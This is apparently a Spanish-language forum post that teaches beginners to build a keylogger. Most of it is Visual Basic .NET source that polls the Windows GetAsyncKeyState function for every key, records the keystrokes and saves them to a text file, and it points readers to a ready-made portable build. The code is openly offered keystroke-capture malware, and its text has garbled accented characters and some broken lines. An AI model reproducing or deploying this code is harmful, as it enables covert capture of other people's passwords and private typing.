Crea tu propio keylogger

Hola a todos de la comunidad hoy decid? hacer un post sobre como hacer un muy simple keylogger pero de la forma mas simple posible para que todos los que sean novatos en programaci?n lo entiendan.

Buen e encontrado un v?deo que explica lo mas f?cil y simple posible.



el c?digo fuente de ese programa esta ac?..

Código:

Codigo "Public Class Form1"
Public Class Form1
Dim Result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Codigo "Timer 1"
For i = 1 To 255
Result = 0
Result = GetAsyncKeyState(i)
If Result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next

Codigo Button "Iniciar"
Timer1.Start()

Codigo Button "Parar"
Timer1.Stop()

Codigo Button "Borrar"
RichTextBox1.Clear()

Codigo Button "Guardar"
Dim Save As New SaveFileDialog()
Dim myStreamWriter As System.IO.StreamWriter
Save.Filter = "Text (*.txt)|*.txt|HTML(*.html*)|*.html|PHP(* .php*)|*.phpAll files(*.*)|*.*"
Save.CheckPathExists = True
Save.Title = "Guardar como"
Save.ShowDialog(Me)
Try
myStreamWriter = System.IO.File.AppendText(Save.FileName)
myStreamWriter.Write(RichTextBox1.Text)
myStreamWriter.Flush()
Catch ex As Exception

End Try

Codigo Button "Abrir"
Dim Open As New OpenFileDialog()
Dim myStreamReader As System.IO.StreamReader
Open.Filter = "Text [*.txt*]|*.txt|All Files [*,*]|*,*"
Open.CheckFileExists = True
Open.Title = "Abrir Archivo"
Open.ShowDialog(Me)
Try
Open.OpenFile()
myStreamReader = System.IO.File.OpenText(Open.FileName)
RichTextBox1.Text = myStreamReader.ReadToEnd()
Catch ex As Exception

End Try
End Sub

Codigo Button "Salir"
Me.Close()


Para las personas que no tengan el programa les dejare una direcci?n de un post mio donde p?bico el programa..
Esta portable as? que no deber?n instalar nada...